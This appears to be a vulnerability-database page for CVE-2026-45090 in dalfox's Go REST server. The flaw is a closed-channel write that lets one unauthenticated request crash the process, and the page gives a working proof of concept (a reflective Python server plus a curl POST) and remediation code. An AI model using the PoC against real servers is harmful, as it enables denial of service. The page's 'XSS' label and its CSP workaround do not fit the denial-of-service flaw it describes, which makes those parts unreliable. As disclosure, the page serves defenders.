# CVE-2026-45090: dalfox XSS — Fixed in 2.13.0

🐹

🐹 Go

Not in CISA KEV

HIGH severity

# CVE-2026-45090 — dalfox

HIGH 

CVE-2026-45090 is a high-severity (CVSS 7.5) CWE-362 vulnerability in github.com/hahwul/dalfox/v2. A fix is available for github.com/hahwul/dalfox/v2 — see the affected versions and patch details below.

Dalfox: Unauthenticated Remote DoS via Closed-Channel Write in \`ParameterAnalysis\` (server mode)

Also known as[GHSA-2g4x-fq3j-cgq4](/vulnerability/GHSA-2g4x-fq3j-cgq4)GO-2026-4999

Published

May 27, 2026

Updated

Oct 28, 2026

Affected

2 pkgs

Patched

1 / 2

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45090.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs20th percentile — riskier than 20% of all scored CVEsHighest risk

0.00%0.29%0.58%0.87%0.0%0.3%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

2 pkgs affected

🐹`github.com/hahwul/dalfox/v2`🐹`github.com/hahwul/dalfox`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

## Description

### Summary

`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != ""` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.

### Severity

**High** (CVSS 3.1: 7.5)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

-   **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer.
-   **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control.
-   **Privileges Required:** None — `--api-key` defaults to `""`, so no auth middleware is registered.
-   **User Interaction:** None.
-   **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.
-   **Confidentiality Impact:** None.
-   **Integrity Impact:** None.
-   **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.

**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.

### Affected Component

-   `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445
-   `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed

### CWE

-   **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error
-   **CWE-404**: Improper Resource Shutdown or Release

### Description

#### Two-Stage Channel Lifecycle Ordering Error

`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:

```
// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency)   // ← single channel for both stages

go func() {
    for result := range results {   // consumer exits when results is closed
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()
```

**First stage** (URL parameters in `p`):

```
// lines 410-437
for i := 0; i < concurrency; i++ {
    wgg.Add(1)
    go func() {
        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
        wgg.Done()
    }()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results)   // ← line 438: results is now closed; consumer goroutine exits
```

**Second stage** (POST-body parameters in `dp`):

```
// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
        //                                   ^^^^^^^ — same closed channel
        wggg.Done()
    }()
}
```

When a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:

```
// pkg/scanning/parameterAnalysis.go:299
results <- paramResult   // panic: send on closed channel
```

A Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.

#### Trigger Conditions Are Both Attacker-Controlled

**Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != ""`:

```
// parameterAnalysis.go:41-45
if options.Data != "" {
    if dp.Get(name) == "" {
        dp.Set(name, "")
    }
}
```

The attacker sets `"data": "q=test"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `"mining-dict": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.

**Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.

#### PR #917 Fixed Different Bugs

Commit `8a424d1` addressed:

1.  Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex`
2.  Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard

Neither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.

### Proof of Concept

```
# Step 1 — Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def _h(self):
        qs = parse_qs(urlparse(self.path).query)
        n = int(self.headers.get('Content-Length', '0'))
        body = self.rfile.read(n).decode() if n else ''
        bq = parse_qs(body)
        v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
        out = f'<html><body>{v}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(out)))
        self.end_headers()
        self.wfile.write(out)
    def do_GET(self): self._h()
    def do_POST(self): self._h()
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18083/?q=test",
    "options": {
      "data": "q=test",
      "mining-dict": true,
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
#   pkg/scanning/parameterAnalysis.go:299 +0x...

# Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused
```

No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.

### Impact

-   **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required.
-   All in-flight scans are lost without results.
-   The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.
-   The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.

### Recommended Remediation

#### Option 1: Allocate a fresh `results` channel for the second stage (preferred)

The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.

```
// pkg/scanning/parameterAnalysis.go — replace the second stage block:

var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency)   // fresh channel

go func() {
    for result := range results2 {
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()

for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
        wggg.Done()
    }()
}

// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2)   // close after all writers are done
```

#### Option 2: Merge both parameter maps before the single worker stage

Process `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:

```
// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
    // feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)
```

This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.

#### Option 3: Add a `recover` in processParams goroutines (stopgap only)

Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:

```
go func() {
    defer func() {
        if r := recover(); r != nil {
            printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
        }
        wggg.Done()
    }()
    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()
```

Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.

### Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

## Affected Packages

2 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐹Go

`github.com/hahwul/dalfox/v2` 

all versions

2.13.0`go get github.com/hahwul/dalfox/v2@v2.13.0`

🐹Go

`github.com/hahwul/dalfox` 

all versions

No fix

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/hahwul/dalfox/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update github.com/hahwul/dalfox/v2 to 2.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45090 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
    

## Frequently Asked Questions

\## Summary \`ParameterAnalysis\` in \`pkg/scanning/parameterAnalysis.go\` runs two sequential worker stages that both write to the same \`results\` channel. The channel is correctly closed after the first stage completes (\`close(results)\` at line 438), but the second stage — which processes POST-body parameters (\`dp\`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, \`processParams\` executes \`results <- paramResult\` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is rem

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